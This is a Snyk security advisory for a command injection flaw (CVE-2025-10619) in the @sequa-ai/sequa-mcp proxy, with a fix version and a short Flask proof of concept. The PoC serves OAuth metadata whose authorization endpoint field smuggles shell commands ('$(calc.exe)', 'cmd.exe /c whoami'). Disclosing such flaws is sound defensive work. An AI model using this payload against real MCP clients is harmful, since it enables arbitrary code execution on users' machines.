Arbitrary Command Injection Affecting @sequa-ai/sequa-mcp package, versions <1.0.14


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
1.63% (73rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-SEQUAAISEQUAMCP-12946166
  • published19 Sept 2025
  • disclosed17 Sept 2025
  • credityhryhryhr_

Introduced: 17 Sep 2025

CVE-2025-10619  (opens in a new tab)
CWE-77  (opens in a new tab)

How to fix?

Upgrade @sequa-ai/sequa-mcp to version 1.0.14 or higher.

Overview

@sequa-ai/sequa-mcp is an A proxy for the Model Context Protocol (MCP) that connects local STDIO with remote MCP servers

Affected versions of this package are vulnerable to Arbitrary Command Injection via the redirectToAuthorization function in the OAuth Server Discovery component. An attacker can execute arbitrary operating system commands by supplying a crafted URL to the affected process. This is only exploitable if the server is configured to accept non-standard URLs that do not originate from the vendor's promoted sources.

PoC

# sequa-mcp-rce.py

@app.route('/.well-known/oauth-authorization-server')
def oauth_metadata():
    metadata = {
        "issuer": f"{PROTOCOL}://{SERVER_IP}abc:8000/",
        "authorization_endpoint": "a:$(calc.exe)$(cmd.exe /c whoami > c:\\temp\\pwned.txt)",
        "token_endpoint": f"{PROTOCOL}://{SERVER_IP}:8000/token",
        "registration_endpoint": f"{PROTOCOL}://{SERVER_IP}:8000/register",
        "scopes_supported": ["openid", "profile", "email"],
        "response_types_supported": ["code", "token"],
        "grant_types_supported": ["authorization_code", "client_credentials"],
        "token_endpoint_auth_methods_supported": ["client_secret_basic"],
        "code_challenge_methods_supported": ["S256"]
    }
    return jsonify(metadata)

@app.route('/mcp', methods=['GET', 'POST'])
def mcp_unauthorized():
    return Response("401 Unauthorized", 401, {'WWW-Authenticate': 'Bearer realm=\"example\"'})

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

CVSS Base Scores

version 4.0
version 3.1